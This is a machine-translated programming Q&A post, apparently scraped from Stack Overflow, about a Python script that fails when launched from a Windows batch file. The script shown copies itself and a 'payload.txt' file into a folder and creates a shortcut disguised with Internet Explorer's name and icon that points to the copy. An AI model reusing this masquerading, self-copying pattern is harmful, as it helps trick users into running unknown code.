批处理文件失败的python代码
当我正常运行此代码时,它会正常执行,但当我将批处理文件指向它时(我已经在其他代码上测试过,以确保我知道如何正确执行),它会选择不生成任何dir和图标。代码是:批处理文件失败的python代码,python,windows,batch-file,python-3.x,Python,Windows,Batch File,Python 3.x,当我正常运行此代码时,它会正常执行,但当我将批处理文件指向它时(我已经在其他代码上测试过,以确保我知道如何正确执行),它会选择不生成任何dir和图标。代码是: from sys import argv import os, winshell from win32com.client import Dispatch script = argv name = str(script[0]) cmd = 'start payload.txt' os.system(cmd) if not os.pat
from sys import argv
import os, winshell
from win32com.client import Dispatch
script = argv
name = str(script[0])
cmd = 'start payload.txt'
os.system(cmd)
if not os.path.exists('C:\pythonspawn\clone'):
os.mkdir('C:\pythonspawn\clone')
os.system(r"copy payload.txt C:\pythonspawn\clone")
os.system(r"copy " + name + " C:\pythonspawn\clone")
desktop = winshell.desktop()
path = os.path.join("C:\pythonspawn\\", "Internet Explorer.lnk")
target = r"C:\pythonspawn\clone\file.py"
wDir = r"C:\pythonspawn\clone"
icon = r"C:\Program Files (x86)\Internet Explorer\iexplore.exe"
shell = Dispatch('Wscript.Shell')
shortcut = shell.CreateShortCut(path)
shortcut.Targetpath = target
shortcut.WorkingDirectory = wDir
shortcut.IconLocation = icon
shortcut.save()
这是批处理文件:
file.py %*
这是一个批处理文件,以防我在这方面做错了什么:file.py%*打印name变量,并查看每种情况下得到的结果(通过批处理运行与直接运行)当从cmd运行时,通过.bat文件时会显示:file.py:c:\…\file.py我只记得不久前我做了类似的事情,并且运行bat时argv发生了变化。好吧,也许你可以让我知道你当时必须做什么,请!!